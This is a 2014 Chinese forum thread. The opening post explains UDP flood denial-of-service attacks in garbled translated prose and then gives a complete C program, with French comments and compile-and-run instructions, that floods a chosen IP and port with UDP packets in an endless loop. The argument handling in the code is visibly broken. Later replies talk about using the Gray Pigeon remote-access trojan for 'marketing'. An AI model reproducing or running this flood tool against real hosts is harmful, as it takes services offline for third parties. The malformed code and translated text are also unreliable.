admin 发表于 2014-3-6 11:03:08

在Linux [UDP]的DDoS攻击 方案 代码剖析

在Linux 的DDoS攻击 方案 代码
inux服务器用C编写的脚本是我与UDP的DOS攻击共用一个脚本。 编译之后就可以使用。/ DDoS攻击

UDP攻击(UDP泛滥),UDP(用户数据报协议)是一种DoS攻击利用。 DoS攻击使用UDP,TCP(传输控制协议)是比使用更复杂。 然而,在远程计算机攻击的大量随机的UDP端口可以通过发送一个UDP包来启动。 其结果是,在远程计算机: 监听端口的应用控制; 任何应用程序侦听端口看到它; 回应与ICMP目的地不可达报文。 因此,大量的UDP数据包到受害系统,迫使许多人发送ICMP数据包,从而导致无法通过其他客户。



/*
compilation : gcc udp.c -o nom
utilisation( use ): ./nom ip port
exemple d'utilisation ( example of use ): ./udp 80.70.60.50 80
fonctionne sous linux ( works ): Debian, sunOS, BSD, kernel 2.2x avec gcc 4.x ou plus
RELEASE BY ²DSK ™ // d-sk@live.fr // If you add an update thank you for giving me this please // ENJOY
*/

#define UDP_STRING "level-23"
#define UDP_SIZE 9

#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>

int connection(char *, short);

int connection(char *serveur, short port)
{
   struct sockaddr_in udp;
   struct hostent *bbs;
   int initsocket;
   bbs = gethostbyname(serveur);
   if (bbs==NULL) {
      printf("host inconnu: %s\n",serveur);
      exit(0);
   }
   printf("Innondation de paquet UDP sur %s:%d\n ", serveur, port);
   bzero((char*) &udp,sizeof(udp));
   bcopy(bbs->h_addr, (char *) &udp.sin_addr, bbs->h_length);
   udp.sin_family = bbs->h_addrtype;
   udp.sin_port = htons(port);
   initsocket = socket(AF_INET, SOCK_DGRAM, 0);
   connect(initsocket,(struct sockaddr *) &udp, sizeof(udp));
   return initsocket;
}


main(int argc, char **argv)
{
   int i;
   if(argc != 3)
   {
      fprintf(stderr, "Utilisation: %s ip port\n",argv);
      exit(0);
   }
   i=connection(argv, atoi(argv));
   for(;;)
   {
      send(i, UDP_STRING, UDP_SIZE, 0);
   }
}

熾楓 发表于 2014-7-12 13:56:46

用灰鸽子好像也是可以做营销的。

aaa1314 发表于 2014-7-14 20:30:53

我人在韩国,用灰鸽子会有影响吗?

黑客526022555 发表于 2014-7-15 20:44:28

呃。来错地方了,回复下吧。

零点的等候 发表于 2014-7-16 07:26:25

我现在还不会电脑安全,希望弄点这类教程。
页: [1]
查看完整版本: 在Linux [UDP]的DDoS攻击 方案 代码剖析